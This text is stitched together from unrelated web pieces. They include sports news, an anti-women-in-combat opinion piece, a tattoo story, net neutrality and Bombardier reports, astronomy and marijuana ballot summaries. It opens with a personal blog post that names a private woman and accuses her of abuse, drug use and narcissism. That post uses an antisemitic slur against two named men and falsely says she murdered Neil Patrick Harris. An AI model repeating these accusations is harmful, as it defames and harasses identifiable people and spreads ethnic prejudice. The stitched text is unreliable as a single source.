So, according to Ania Anicca / Ania Ziolkowska (Ania got the “Anicaa” name at “Yogaville”, during her teacher training. They don’t know what the word means, and she can’t come up with anything original on her own. No narcissist can, actually), the story she concocted, is that I did meth for three years, before returning and pursuing her, and I had ALL of my teeth, until TEN YEARS AFTER SUPPOSEDLY DOING METH???
This is the story she fabricated to cover the damage she could no longer hide.
But, what’s more disgusting, more disturbing, is OTHER PEOPLE BELIEVED IT.
Why?
Because she’s a girl, that’s why. Ania Anicca has one of the most practiced fake “charm personalities” known to man
Up until recently, there has been no support, no resources, for male victims of domestic violence. As a matter of fact, if you are a man and the subject is brought up, it is actually assumed that YOU are the abuser. Even the police essentially refuse to believe that women, especially small, petite, demur women, can actually be the abusers (not that Ania is small, petite, or demure, ANY LONGER….)
But, as illustrated above, and in the movie “Gone Girl”, a woman can play victim, and get away with even the WORST atrocities (such as murdering someone she thought to use, as she did with Neil Patrick Harris.)
Do a basic google search about domestic violence, and you have to DIG to get the following results:
Or “A Voice for Men”, which, if you didn’t know it existed, you would never find it
A medical journal
A Telegraph UK article of a FEMALE DOCTOR LEAD STUDY
But, as I said earlier, you have to dig to almost subterranean levels, in order to obtain this data. For me to find them, I had to finally do a Google search of “Women More Violent Than Men” Why?
I received a DUI charge and conviction, because, after having taken my prescribed Ambian, when I asked Ania to leave, so I could sleep, tired an hungry, in an apartment she succeeded in having us evicted from IN ONE WEEK, due to HER behavior (that was told to me in confidence, by the leasing manager of the Aspen, in Alexandria, VA), she instead attacked me, and chased me out of the apartment. Knowing what I just listed above, I got in my Mini, and attempted to drive away. Not having eaten, my Ambian kicked in in ten minutes, rather than 20, and I had a victimless accident. The Mini caught fire, and I had to be pulled out of the burning car. Ania Anicca immediately went to the police, while I was passed out, and said
“I think he was trying to kill himself. He took Ambian.”
But how did Ania Anicca spin it, playing victim all the way, when she tells other people the story?
And that’s not even touching on how Ania Anicca, in that conversation, attempted to make a supposed suicide of someone she could care less about ALL ABOUT HER. The facts show, and have repeatedly shown, that domestic abuse against men, by women, is repeatedly and continuously buried, or ignored, on such an accepted social level that it’s just disgusting. But how can you continue to argue about and ignore THIS?
I can tell you a story. It’s a story about when Ania did meth. We had a friend named Brian, who had seen the success I created by how I made and marketed an after hours club in Washington, DC (another thing I regret, as it put me in business with two Jewish cheats, and Narcissists, Ian Morgenstein, WHOM I INVITED IN AFTER IT WAS CREATED, and Uzi Grindler, whom has already been mentioned above – crazy how Ania ran to the sides of the people that cheated both me and her, which is what narcissists do – they go to their own kind), and began to shadow me, to learn how to throw parties himself. I don’t think he ever understood that when I threw a party, it was for the attendees, not to fill my pockets, or inflate my ego. Brian was dealing and addicted to meth. He was over at our house in Alexandria, VA, one night, and he gave it to her to try. I had to go to work. Ania wasn’t working. Fired, again. I asked him not to have it around her, and he gave it to her anyway. I’m preparing to go to work, and Ania is smashing every single glass in the kitchen.
Every Single One
I rush into the kitchen to stop her, and she attacks me, tackles me, and I somehow keep us away from the glass on the floor. She’s in her robe, naked underneath, and I have her on her back.
ANIA ANICCA REACHES UP AND CLAWS ME DOWN MY FACE.
I am forced to let her go. I have to go to work, at that time contracted to arrange displays in grocery stores, dried scars on my face, and the women I worked with, as I was the only man, asked me what happened. I was an idiot, constantly covering Ania’s abuse of me, so I lied –
“Our cat clawed me in my sleep. She’s a little feral. She’s a rescue kitten.”
The woman who was my supervisor stood there and stared at me, grabbed my forearm, and took me to the pharmacy, grabbed a box of “Mecderma”, and told me to buy it and apply it, which I did.
She didn’t believe me. She knew another girl’s claw marks when she saw them.
However, most of the time, Ania’s abuses were NOT under the influence of drugs. Ania Anicca must have obviously been prejudiced, and felt she could abuse all the black men in her life.
“She used to chase me around the house with pots and pans, trying to hit me with them.” Charles Gudet, another black ex of hers later told me.
Charles told me a lot of things, most of which will be visited upon later, in new blogs, just as we will visit upon Uzi Grindler, and Eva “Annika” Backstrom. “Gone Girl” covers all of this, including the ending, illustrating that even when you think you’re free, they still hatch plots to steal your life. For me, that was Ania Anicca stealing all of my dreams for herself. Okay, I think we will call this “part one”, because there is so much more I could write, but it took me forever to put most of this together, just to get this down for Domestic Abuse Month, which this is, and I literally have a decade of abuse to flesh out. But I had to write this, because, as the cabbie said, someone needs to speak up for abused men, so that someone may as well be me (and a few other men who finally have the courage to speak out.) Domestic Violence, like racial prejudice (another subject we touched upon earlier, and will return to later), is narcissism. Narcissistic Sociopathy, to be more accurate. Also known as narcopathy or psychopathy, and “Gone Girl” shows for all to see, both the prevalence of this, and the completely imbalanced scale upon which it weighs. By the way, did you know that “Twilight”, Ania’s favorite series, she even has the Polish version, “Saga Zmierzch”, which is how she read it (probably so I couldn’t read that she was reading about how she was treating me (Hint: Ania is Edward, NOT Bella. We will explore in a later blog how narcissists, such as Ania, project their personalities on to their victims), is about Domestic Abuse? “If you’ve suspected that there’s something unhealthy about the relationship between Bella and Edward in the phenomenally successful Twilight series, then it turns out that you’re exactly right. In fact, there are fifteen examples of unhealthiness.” Next time we will explore how Ania, was going to a domestic violence counselor named Lynn Greenfield, in Alexandria, VA, under the advice of Eva “Annika” Backstrom and Uzi “Ozzie” Grindler. The same ones who would watch Ania abuse ME, and knew Ania had knocked out my teeth, remember? Uzi is israeli, and was teaching Ania how to psychologically manipulate the outcome SHE wanted, with the help of getting the abusive relationship checklist from Lynn Greenfield, and how Ania has assimilated in NYC, and all her travels, by essentially mimicking ME. She DID have ten years to learn how to be me, after all. At least on the surface. She’s still empty on the inside.
I usually save these for jabs at “Exeris” (that name, oh my god that NAME.…), but after this post, you all deserve a treat…..
Part two is on it’s way, and comments can be left at the bottom of the page, but always remember……
Last January, outgoing Secretary of State Leon Panetta lifted the 1994 Combat Exclusion Rule that had prohibited women from serving in frontline combat units. This paved the way for women to join elite units such as the Army Rangers and Navy SEALs. It also does not merely lift restrictions on women's integration in direct ground combat, but allows women to be assigned -- or forced -- into such situations. A compliance deadline was set for June 2016.
The need for increasing "inclusiveness" is belied by the reality that 88 percent of Navy jobs are open for women, as are 99 percent of jobs in the Air Force. And even though the goal is to open every job up to women, no matter how risky, the services were given the option of requesting an exception necessitating approval by the Secretary of Defense.
In the course of developing a timeline for total integration, the real and potentially devastating agenda behind this push was revealed. The services are developing new job-specific standards for combat units.
Those standards will be "gender neutral."
Robert Maginnis, a retired Army lieutenant colonel and West Point graduate, cut through the political facade erected by those two words in his book, "Deadly Consequences: How Cowards Are Pushing Women into Combat." In an interview with Time, Maginnis insisted that "Pentagon brass are kowtowing to their political masters and radical feminists to remove exemptions for women in ground combat in defiance of overwhelming scientific evidence and combat experience." He completely dismissed the Obama administration's contention that they won't lower standards to accommodate women in combat roles. As evidence, he cites the "diversity metrics" outlined in the 2011 Report of the Military Leadership Diversity Commission.
Maginnis is spot on. The report is a paean to diversity, asserting that "respect for diversity should be made an explicit core value of DoD [Department of Defenses] and the Services." Diversity necessitates "a fundamental shift in institutional." Toward that end, "diversity leadership must be assessed throughout careers and made, in both DoD and the Senate, a criterion for nomination and confirmation to the 3- and 4-star ranks." Furthermore, implementation requires "a deliberate strategy that ties the new diversity vision to desired outcomes via policies and metrics."
According to Maginnis, those desired outcomes must lead to a lowering of standards, due to the reality that there has to be a minimum number of women in combat units in order for the policy to be deemed a success. He notes this can only be accomplished by "gender norming," a euphemism for judging women by less demanding standards than their male counterparts.
The necessity for imposing diversity metrics/gender norming was revealed at a September 2011 briefing before the Defense Advisory Committee on Women in the Armed Services. A Marine colonel revealed the sobering statistics the diversity mavens are determined to ignore, noting that "on average, women have 47% lower lifting strength, 40% lower muscle strength, 20% lower aerobic capacity (important for endurance), and 26% slower road march speed." He further noted that "both female attrition/injury rates during entry level training and discharge (break) rates were twice those of men, and non-deployability rates were three times higher."
The CMR further reveals that 30 years of studies conducted by Great Britain and America, "have repeatedly confirmed physiological differences that would put women at a severe disadvantage in the combat arms," and that there is no study they can find indicating training can overcome such differences. Thus, the study concludes that attempting to train women like men will either lead to a lowering of standards, or high attrition rate among female trainees.
Yet the most ominous part of the study noted that if women do make it into combat units, "it can be expected that commanders will shift tasks from women to men to avoid attrition from non-battle injury. It is a matter of speculation whether such task shifting is tolerable in actual combat. Given the non-battle injury rate of Army women in Operation Iraqi Freedom, increasing the presence of women below the brigade level may result in even greater losses."
Such data, along with potential losses, are apparently irrelevant to those seeking to appease the radical left's political agenda. What's worse, reports indicate that Pentagon officials are well aware of the lowering of standards that will take place. Army Gen. Martin E. Dempsey, chairman of the Joint Chiefs of Staff, said to reporters last January: "If we do decide that a particular standard is so high that a woman couldn’t make it, the burden is now on the service to come back and explain to the secretary, ‘Why is it that high?’ 'Does it really have to be that high?' With the direct combat exclusion provision in place, we never had to have that conversation.”
Remarkably, the push for women in combat largely ignores how the overwhelming majority of women currently in the service feel about the idea. A survey done last month by the Military Times revealed that only 13 percent of women desire a combat job, 9 percent aren't sure, and a whopping 77 percent do not want a combat job at all. Furthermore, one of the military's main rationales for the program, that career advancement necessitates combat experience, is untrue. As the CMR notes, "data going back decades indicates that women have been promoted at rates equal to or faster than men." CMR further notes that any data undermining the idea that women should be given career opportunities in the infantry "is simply being withheld from public view." Moreover, the process to implement the administration's plans to put women into direct combat is being deliberately stretched out to give Congress the false impression that the issue is being addressed objectively -- when nothing could be further from the truth.
Maginnis envisions the ultimate downside of women in combat, based on the reality that "a return to the draft is far more likely than most people realize." This is due to the "unsustainably high costs of an all-volunteer military" in a nation weighed down by $17 trillion of debt. "Lifting all combat exclusions for women virtually guarantees that the Supreme Court will declare male-only conscription unconstitutional," he explains, further noting that the direct consequence of such a ruling will be women "drafted and forced into ground combat roles" (italics mine).
CMR president Elaine Donnelly cut to the essence of the issue. "Are we willing to stand by silently while the Obama Administration ruins our military?" she asks. "If we do, future generations will wonder where we were when the culture of the finest military in the world was systematically burdened with social experiments that the administration plans to extend into the combat arms."
Those social experiments may be part of a far bigger agenda than the effort to put women in combat. If there is one institution in America that has remained largely resistant to the ever-increasing imposition of a progressive agenda, it is the military. In fact, it may be the last bastion of well-organized resistance to progressive hegemony. Yet with each new "experiment," the warrior culture that ought to dominate the nation's military is being systematically degraded to accommodate that agenda.
With regard to women in combat, it is an agenda destined to exact a price far greater than the nearly 150 military women who have died in Iraq and Afghanistan during the course of those wars. Yet for the Obama administration, higher numbers of dead and wounded women is a reasonable tradeoff. With all due respect to Gen. Dempsey, perhaps a conversation about that reality is far more important.
Conference USA will be sending a record nine schools to play in bowl games this holiday season. C-USA Champion Florida Atlantic leads the nine teams, joined in the postseason by West Champion North Texas, FIU, Louisiana Tech, Marshall, Middle Tennessee, Southern Miss, UAB and WKU.
Florida Atlantic enters postseason play on a nine-game winning streak when its represents C-USA in the Cheribundi Tart Cherry Boca Raton Bowl in Boca Raton, Florida. The Owls will face MAC East Champion Akron in the fourth annual game, which kicks off on Tuesday, Dec. 19 at 7 p.m. EST/6 p.m. CST on ESPN. This will be the third bowl appearance for FAU and the first since the 2008 Motor City Bowl. The Owls are 10-3 on the season, marking a win increase of seven games from last season, the second-largest improvement in the FBS.
North Texas will be making back-to-back bowl appearances for the first time since making four straight trips to the New Orleans Bowl from 2001-04 and the Mean Green will be returning to the Crescent City this year. North Texas will face Sun Belt Conference co-champion Troy in the R+L Carriers New Orleans Bowl on Saturday, Dec. 16 at 1 p.m. EST/12 p.m. CST on ESPN. The 9-4 Mean Green have increased their win total by four games from last season.
FIU will complete its turnaround season under first-year head coach Butch Davis with an appearance in the Bad Boy Mowers Gasparilla Bowl on Thursday, Dec. 21 (8 p.m. EST/7 pm. CST). This will be the third bowl trip in Panthers history and the first since 2011, when it also played in the St. Petersburg Bowl (then known as the Beef O’ Brady’s Bowl). FIU will face American Athletic Conference member Temple in the game.
Louisiana Tech will be in a bowl for the fourth straight season when it participates in the DXL Frisco Bowl on Wednesday, Dec. 20 at 8 p.m. EST/7 p.m. CST on ESPN). The Bulldogs will face SMU in the Dallas-area game, just the fifth all-time meeting between the schools that are located four hours apart.
After a one-year absence, Marshall will return to postseason play when it faces Colorado State in the Gildan New Mexico Bowl on Saturday, Dec. 16 at 4:30 p.m. EST/3:30 p.m. CST on ESPN. The Thundering Herd are 10-2 all-time in bowl games and this will be their first trip to Albuquerque for the New Mexico Bowl.
Middle Tennessee will participate in the Raycom Camellia Bowl on Saturday, Dec. 16, marking the seventh bowl game of the FBS era for the Blue Raiders. The Blue Raiders will play Arkansas State at 8 p.m. EST/7 p.m. CST from the Cramton Bowl in Montgomery, Alabama. The game will air nationally on ESPN as Middle Tennessee makes a third straight bowl for the first time in program history.
Southern Miss will make its third consecutive bowl appearance and the 25th in program history when plays in the Walk-On’s Independence Bowl in Shreveport, Louisiana on Wednesday, Dec. 27 at 1:30 p.m. EST/12:30 p.m. CST. The Golden Eagles will face Florida State in the game, the 23rd meeting between the teams, as Southern Miss makes its third Independence Bowl appearance all-time and first since 1988.
Capping off its historic 2017 season, UAB will represent Conference USA and play Ohio University in the 2017 Bahamas Bowl on Friday, Dec. 22 at Nassau’s Thomas A. Robinson National Stadium. Kickoff is set for 12:30 p.m./11:30 a.m. CST and the contest will be televised on ESPN. This will be the second bowl appearance for the Blazers in their program history.
WKU will play in a bowl game for the fourth consecutive season as the Hilltoppers participate in the AutoNation Cure Bowl bowl on Saturday, Dec. 16 at 2:30 p.m. EST/1:30 p.m. CST. WKU will face Georgia State in the third annual game, which is played in Orlando, Florida and televised by CBS Sports Network.
Conference USA has posted five consecutive winning seasons in bowl play and the league is 22-11 (.667) over the past five years in bowl games.
2017-18 C-USA BOWL SCHEDULE
R+L CARRIERS NEW ORLEANS BOWL (New Orleans, Louisiana) Saturday, December 16 North Texas vs. Troy (ESPN) 12 p.m. CST
AUTO NATION CURE BOWL (Orlando, Florida) Saturday, December 16 WKU vs. Georgia State (CBS Sports Network) 1:30 p.m. CST
GILDAN NEW MEXICO BOWL (Albuquerque, New Mexico) Saturday, December 16 Marshall vs. Colorado State (ESPN) 3:30 p.m. CST
RAYCOM CAMELLIA BOWL (Montgomery, Alabama) Saturday, December 16 Middle Tennessee vs. Arkansas State (ESPN) 7 p.m. CST
CHERIBUNDI TART CHERRY BOCA RATON BOWL (Boca Raton, Florida) Tuesday, December 19 Florida Atlantic vs. Akron (ESPN) 6 p.m. CST
DXL FRISCO BOWL (Frisco, Texas) Wednesday, December 20 Louisiana Tech vs. SMU (ESPN) 7 p.m. CST
BAD BOY MOWERS GASPARILLA BOWL (St. Petersburg, Florida) Thursday, December 21 FIU vs. Temple (ESPN) 7 p.m. CST
BAHAMAS BOWL (Nassau, Bahamas) Friday, December 22 UAB vs. Ohio (ESPN) 11:30 a.m. CST
WALK-ON’S INDEPENDENCE BOWL (Shreveport, Louisiana) Wednesday, December 27 Southern Miss vs. Florida State (ESPN) 12:30 p.m. CST
There is another Greinke story I wasn’t able to get into the piece, one I think I’ve told before but I’m not sure. It doesn’t really have much to do with anything except, well, it’s just a perfect little Greinke story. In 2007, the Kansas City Royals called up Alex Gordon. At the time, you might remember, Gordon was a serious phenom that year, in the same category as, say, Kris Bryant before this season began. In fact, I’m pretty sure Gordon was the first player in Baseball America history to be named minor league player of the year just one year after being named amateur player of the year.
In any case, Gordon came up to the most extreme expectations and he struggled. Man, did he struggle. Gordon has always had this detached nature which suggests he doesn’t feel pressure, and he carried himself quietly through the worst of it. But underneath it all, I think it was just too much for him. His swing even now has a hole in it — it’s something he simply has to overcome and it’s a daily struggle –and in those early days pitchers just ate him up. The poor guy was hitting .173 in early June, and he’d struck out 55 times in 53 games, and he was taking it out to the field, and even though he still carried himself in that placid and even-tempered way that now marks him as one of the better players in baseball, you could tell: He was seriously lost.
And then, at his low point, Zack Greinke came up to him.
“Alex,” he said, and he pointed to the video room. “Follow me. I want to show you something.”
Greinke’s teammates will tell you: The guy’s kind of a baseball savant. He is known for calling just how hard he will throw his curveball the next inning (“I’m going to try for 50 mph”). He sees things nobody else seems to see. Not too long ago, I was talking with Brandon McCarthy, who is one of the smartest guys in baseball himself, and he said that the coolest thing he can imagine doing is sitting next to Greinke during a game and just picking his mind, view the game through Zack’s eyes. Others have said the same. He will probably stay in baseball after he’s done.
So Gordon was pretty excited when Greinke called him into the video room. He figured that Greinke must have found something in his swing, something small, some little flaw that he could fix and it would turn his entire season around. He followed Greinke to to the monitor. Greinke turned it on.
The video was … yep: Zack Greinke hitting a home run. Greinke watched it lovingly and then turned back to Gordon.
“Do more of that,” Zack said.
The city is no longer displaying "Merry Christmas" or “Happy Holidays” messages on Brampton buses following an extensive service review done by the local transit authority last fall.
“Based on this review, staff made the decision to display only route information and messages that directly relate to the service being provided by the bus, effective with Brampton Transit’s recent fall service changes,” said city spokesperson Brian Stittle, noting the lone exception to this practice will be Remembrance Day.
The message of “Lest We Forget” will be displayed “as veterans are entitled to ride for free on this day,” he said.
Brampton will follow other GTHA municipalities that have opted to drop the holiday wishes from the digital destination signs, including Toronto, York Region and Grand River Transit.
Stittle noted that “this was not a directive from Mayor Linda Jeffrey or council.”
City councillors angered some Christians and traditionalists in January after voting to scrap the Lord’s Prayer from council proceedings, in favour of observing a moment of silence at the invocation of every meeting.
At the time, local politicians argued reciting the prayer violated Charter rights and voted (9-2) to keep municipal business secular.
Stittle said religion had nothing to do with Brampton’s decision to take the holiday greetings off buses.
For most people, a first tattoo is usually a small marking, perhaps a Chinese symbol no more a few inches wide.
But Cathy Ward, 49, is such a die-hard fan of the Twilight Saga series of books and movies that she wanted something a bit more special… her entire back covered in artwork from the vampire films.
The supermarket worker, from Reading, braved 22 hours in the tattoo artist’s chair after months saving £2,000 to put permanent reminders of stars Robert Pattinson, Kristen Stewart and Taylor Lautner on her skin.
What were you inking? Cathy Ward shows off her newly tattooed back covered with Twilight characters
She was desperate to get almost the whole cast of blood-sucking characters on her back because she claims they helped her lose five stone.
Despite working in the cake department, she ditched calorie-laden foods in favour of getting stuck into the popular books and movies– and dropped 14 dress sizes in just six months.
Mrs Ward said: ‘A friend of mine got me the first film on DVD because I was feeling low.
‘Once I started I just couldn't stop myself. I had to go out and buy all the books and films. I got hooked. It became my way of rewarding myself.
Fan: Cathy with her DVDs, which she says helped her lose five stone as she continuously watched them
‘I wanted a permanant reminder of the amazing series so I got a small tattoo and that turned into what I have got now.’
Despite having her whole back covered in Stephenie Meyer's creations the sun has not gone down on her inky obsession.
She plans to save £2,000 more to spend another 12 hours under the needle as she eclipses her whole torso with the gothic tribute.
Mrs ward, who has shrunk from size 24 to 10, added: ‘There are still a few bits to do. I am going to get my arms done before my 50th birthday in summer.
‘I love Robert Pattinson. I want to tone up so I can get his character Edward Cullen on my stomach.
‘The way I look at it I could be spending the money on going out drinking and eating but instead I'm spending it on something I am really passionate about.’
Despite her diet success she claims she would not have lost all the weight without her lifeblood movies and books.
She added: ‘I have got a cross trainer, rowing machine and hand weights and I work out in my spare room which has got Twilight pictures all over the walls.
‘I watch the films or listen to the soundtracks as I exercise. It has worked miracles.
‘I have never been more positive, more outgoing, fit and never had so much fun in my life.’
Despite her obsession with heart-throb Robert Pattinson childless Mrs Ward has not got it in the neck from husband Francis, 52.
Stars: From left, Robert Pattinson, Taylor Lautner and Kristen Stewart in last year's Twilight Saga: Eclipse
She added: ‘It's just part of me now. I tend to show if off as much as I can and most of the people who know me do ask to see it.
‘Francis thinks it is hilarious. He just laughs at me and lets me get on with it.’ Cathy, who has been married 18 years, hopes to meet the films' stars in the flesh so she can flash her portraits with pride.
She added: ‘I have approached the fan club and I am trying to get them to let me go to the premiere of the fourth film Breaking Dawn.
‘That would be a dream come true.’
The four books, which have been translated into 38 different languages, have sold more than 100million copies worldwide while the films have smashed box office records.
Photos: China's Chang'e 3 Mission Blasts Off
The moon rover is named Yutu ("Jade Rabbit") for the legendary rabbit that is a lunar companion for the goddess Chang'e. Yutu carries solar panels for electrical power. A mast on top carries the communications antenna as well as 3D stereo cameras. A robot arm on the front of the rover has spectrometers on it for taking measurements of lunar soil. The rover has six wheels in a rocker-bogie configuration similar to that used by NASA rovers such as the Mars rover Curiosity.
The Moon: 10 Surprising Lunar Facts
The rover drives off a ramp lowered from the Chang'e-3 lander vehicle. The lander, which does not move after touchdown, carries a plutonium-powered nuclear generator to provide electricity during the two-week lunar night.
In the 1970s, both the Soviet Union and the United States landed wheeled vehicles on the moon. The Soviet Lunokhods were remote-controlled from Earth. Apollo astronauts drove the Lunar Roving Vehicle"“moon car" on the final three flights of the program.
"We have encountered no new additional barriers to investment or deployment as a result of the 2015 decision to reclassify broadband as a telecommunications service and have long supported network neutrality as a core principle for the deployment of networks for the American public to access the Internet," the ISPs said in a letter to Pai that was organized by the Electronic Frontier Foundation (EFF).
The current rules are necessary "to address the anticompetitive practices of the largest players in the market," but "the FCC’s current course threatens the viability of competitive entry and competitive viability," the companies wrote.
"As direct competitors to the biggest cable and telephone companies, we have reservations about any plan at the FCC that seeks to enhance their market power without any meaningful restraints on their ability to monopolize large swaths of the Internet," the companies said. Finally, the letter criticized the recent decision by Congress and President Trump to repeal the FCC's online privacy rules. The privacy repeal was supported by Pai.
"We implore the FCC to examine the ramifications of the Congressional Review Act repeal of broadband privacy and provide guidance," the companies wrote. The repeal "has resulted in great uncertainty in the market that the FCC could help provide clarity."
The letter was signed by 41 companies, of which about 30 are Internet service providers that have to follow the net neutrality rules. The rest provide network-related services such as VPNs, VoIP, or colocation. The list includes relatively well-known ISPs such as Sonic, among a mix of wired, fixed wireless, and mobile providers, including a coffee shop that runs a wireless home Internet service from a tower on top of its coffee house. You can see the full list of ISPs in the letter.
Title II goes beyond net neutrality
Pai has touted opposition to the net neutrality rules from small ISPs, including 19 nonprofit municipal broadband providers. The EFF said that today's letter to Pai shows that numerous small ISPs want the rules to remain in place.
The core net neutrality rules prohibit paid prioritization and prohibit ISPs from blocking or throttling lawful Internet traffic. But the related classification of ISPs as common carriers under Title II of the Communications Act goes beyond those core rules, EFF Legislative Counsel Ernesto Falcon wrote. Title II is important for the FCC's ability to regulate network interconnection and pole attachment rights, he wrote.
"Title II isn't just about net neutrality," he wrote. "It is also meant to curtail the anti-competitive conduct from incumbent monopolists like Comcast, AT&T, and Verizon. In essence, as common carriers, they are not able to use their power to control the Internet experience, and they are not able to directly harm their competitors in the broadband market. That's why these small ISPs are worried."
The FCC's net neutrality order enforced the provisions of Title II's Section 224, which governs pole attachments. More generally, Title II also requires ISPs' rates and practices to be "just and reasonable" and allows consumers and competitors to file complaints about unjust or unreasonable rates and practices.
Google Fiber had trouble deploying service because incumbent ISPs stalled in providing access to utility poles, Falcon noted. (The Google Fiber deployment problems started before the 2015 Title II reclassification.)
But as I pointed out in that thread, looks were deceiving. Sporting had played a home-heavy schedule at that point, and were due to drop off. Which, of course, they did, falling from first in the league in PPG on August 15 to 10th by the time the regular season wrapped up in late October. They went 3-7-2, and it was no bueno.
Fatigue, especially along the back line, was part of it. Just as important was (a lack of) goal-scoring, as during those final 12 games they were shut out five times and scored more than one goal on just three occasions. In the 12 games preceding that run, they'd scored multiple goals six times and were shut out once.
That brings us to this:
14 days to @MLS season.@SportingKC's Brad Davis needs 14 assists to tie Landon Donovan for most in MLS history. pic.twitter.com/bLVsTB9cxs — Paul Carr (@PCarrESPN) February 21, 2016
KC sold their only goal-scoring wing in Krisztian Nemeth, and brought in a pair of veteran replacements in Brad Davis and Justin Mapp. Both are excellent players -- Davis was at the World Cup in 2014, and Mapp probably should have been. They're creative, they're consistent, they know how to win in MLS at altitude, in heat, on turf, or in front of packed/empty stadiums. Combined they have nearly 200 career assists.
Neither, however, is a goal-scorer. Neither is Graham Zusi, neither is Jacob Peterson, and neither, really, is Benny Feilhaber (half of his 10 goals from last season came via PK).
That puts a lot of run-of-play pressure onto the shoulders of Dom Dwyer, who is the sort to welcome it of course. But even if Dwyer replicates his 2014 numbers, Sporting are still bereft of a Plan B -- the type of in-the-box genius Nemeth had a habit of conjuring, including in the playoffs.
Every team in MLS has one flaw or another, but I think it's telling that the last four Supporters' Shield winners all had precisely balanced attacks. Defense may win MLS Cup, but it's a diverse and unpredictable attack that carries teams in the regular season.
To that point: The 2012 Earthquakes had Chris Wondolowski bang home 27 goals, and got 31 more from Alan Gordon, Steven Lenhart and Simon Dawkins. The 2013 Red Bulls had Tim Cahill, Thierry Henry, Fabian Espindola and Lloyd Sam. The 2014 Sounders got monster years from Obafemi Martins and Clint Dempsey, and also found 22 goals combined from Lamar Neagle, Marco Pappa and Chad Barrett.
And last year's RBNY got 44 goals from their attacking front four, as well as a young, backup No. 9 in Anatole Abang who provided four pretty crucial goals in less than 400 minutes of playing time. If Daniel Salloi can approximate that kind of production this year at Children's Mercy Park, it'll obviously help a bit.
But it won't entirely solve the problem staring Sporting right in the face -- three of those four Shield winners led the league in goals, and the other (2014 Seattle) were second overall. Does anybody really see the firepower on this Sporting roster to replicate that?
Peter Vermes is going to have to coax some goals out a group of wingers who historically have not been that type of player. With Davis, Mapp and Zusi around Sporting won't lack for creativity, but I'm just not sure who'll be able to put the ball into the net.
Author's Note
The flap over a nearly 50 per cent increase in compensation to Pierre Beaudoin and five top executives was becoming a distraction to the work done by employees at the transportation giant, the chairman said in a brief statement.
“I take this step to put the focus back on what matters — the transformation of Bombardier into the most competitive plane and train manufacturer in the world,” the Bombardier chairman said in the statement.
A Bombardier spokesman said the reduction in Beaudoin’s compensation would amount to US$1.4 million. He would not comment on whether the company’s senior executives would follow Beaudoin’s example and agree to reduce their compensation.
The statement came hours after a number of Quebec cabinet ministers called for Bombardier to review its compensation policy in light of the fact it is getting hundreds of millions of dollars in taxpayer subsidies.
Total compensation for the Montreal-based manufacturer’s top five executives and Beaudoin was US$32.6 million in 2016, up from US$21.9 million the year before.
The Quebec government gave Bombardier (TSX:BBD.B) roughly US$1 billion in 2016 while the federal government recently announced a $372.5-million loan package for the firm’s CSeries and Global 7000 aircraft programs.
Provincial Economy Minister Dominique Anglade said earlier Friday that the decision to award hefty executive pay increases outraged Quebecers.
“The decision that (Bombardier) took shocked the population — and with reason,” she said in calling for Bombardier to reconsider the pay increases.
The province’s finance minister Carlos Leitao added his voice to the call for Bombardier to change course on its executive pay policy.
Beaudoin’s statement acknowledged the public outcry.
“The trust and confidence of our people and our governments are extremely important to the company, and to me,” the statement said.
In its regulatory filing, Bombardier attributed the higher compensation to a number of factors, including achieving profit and cash flow targets, securing CSeries orders and completing the first flight of the Global 7000 business jet.
However, Claude Beland, former head of the Desjardins Group as well as a shareholder rights association, told The Canadian Press in an interview that Bombardier’s executive compensation is “excessive” and “indecent.”
Dr Robert Smith, Emeritus Reader in Astronomy, said his team previously calculated that the Earth would escape ultimate destruction, although be battered and burnt to a cinder. But this did not take into account the effect of the drag caused by the outer atmosphere of the dying Sun.
He says: "We showed previously that, as the Sun expanded, it would lose mass in the form of a strong wind, much more powerful than the current solar wind. This would reduce the gravitational pull of the Sun on the Earth, allowing the Earth's orbit to move outwards, ahead of the expanding Sun.
“If that were the only effect the Earth would indeed escape final destruction. However, the tenuous outer atmosphere of the Sun extends a long way beyond its visible surface, and it turns out the Earth would actually be orbiting within these very low density outer layers. The drag caused by this low-density gas is enough to cause the Earth to drift inwards, and finally to be captured and vaporised by the Sun.”
The new paper was written in collaboration with Dr Klaus-Peter Schroeder, previously at Sussex, who is now in the Astronomy Department of the University of Guanajuato in Mexico.
Life on Earth will have disappeared long before 7.6 billion years, however. Scientists have shown that the Sun's slow expansion will cause the temperature at the surface of the Earth to rise. Oceans will evaporate, and the atmosphere will become laden with water vapour, which (like carbon dioxide) is a very effective greenhouse gas. Eventually, the oceans will boil dry and the water vapour will escape into space. In a billion years from now the Earth will be a very hot, dry and uninhabitable ball.
Can anything be done to prevent this fate? Professor Smith points to a remarkable scheme proposed by a team at Santa Cruz University, who suggest harnessing the gravitational effects of a close passage by a large asteroid to "nudge" the Earth's orbit gradually outwards away from the encroaching Sun. A suitable passage every 6000 years or so would be enough to keep the Earth out of trouble and allow life to survive for at least 5 billion years, and possibly even to survive the Sun's red giant phase.
“This sounds like science fiction,” says Professor Smith. “But it seems that the energy requirements are just about possible and the technology could be developed over the next few centuries.” However, it is a high-risk strategy - a slight miscalculation, and the asteroid could actually hit the Earth, with catastrophic consequences. “A safer solution may be to build a fleet of interplanetary 'life rafts' that could manoeuvre themselves always out of reach of the Sun, but close enough to use its energy,” he adds.
Here’s a breakdown of what you need to know about the measures being voted on this year:
Alaska
For adults over 21, Measure 2 would legalize possession of up to one ounce, allow residents to grow up to six plants and would set up a system of legal and taxed sales.
Interestingly, under a 1975 court case, Alaskans already enjoy the right to use and possess a small amount of marijuana in their homes. This initiative would expand upon those rights by allowing Alaskans to choose from a wide variety of tested and labeled marijuana strains from safe, legal storefronts.
There haven’t been many polls done on the initiative, but those that have been conducted show a very close race. An August survey from Public Policy Polling found the measure losing 44 percent to 49 percent, while an earlier poll in May showed it ahead 48 percent to 45 percent.
Florida
Amendment 2 would make Florida the 24th state in the nation – and the first in the south – with a comprehensive medical marijuana law. Specifically, the measure would legally protect patients with doctors’ recommendations, as well as the caregivers who supply those patients. The state Department of Health would license individual patients and regulate businesses that would produce and distribute medical marijuana.
Because it is being proposed as an amendment to the state constitution, the measure needs to get at least 60 percent of the vote to pass. Polling shows strong support in the state for the general concept of medical marijuana – 88 percent, according to Quinnipiac. Opponents, however, have tried to make the case that the initiative has questionable loopholes, and polling on the specific measure is relatively close. Recent surveys have shown Amendment 2 losing with 53 percent of the vote, winning with 69 percent and winning with 64 percent.
Oregon
Like Alaska, Oregon has a comprehensive legalization measure on the ballot. Measure 91 would allow adults over 21 to possess up to eight ounces of marijuana and grow four plants. The initiative would set up a system of legal and taxed production and sales of marijuana, regulated by the Oregon Liquor Control Commission.
